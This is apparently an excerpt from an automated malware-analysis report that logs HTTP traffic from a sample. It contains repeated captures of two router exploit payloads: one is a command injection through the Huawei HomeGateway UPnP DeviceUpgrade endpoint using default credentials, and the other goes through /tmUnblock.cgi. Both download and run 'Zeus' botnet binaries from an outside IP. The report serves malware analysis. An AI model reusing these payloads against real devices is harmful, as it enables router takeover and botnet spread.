Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 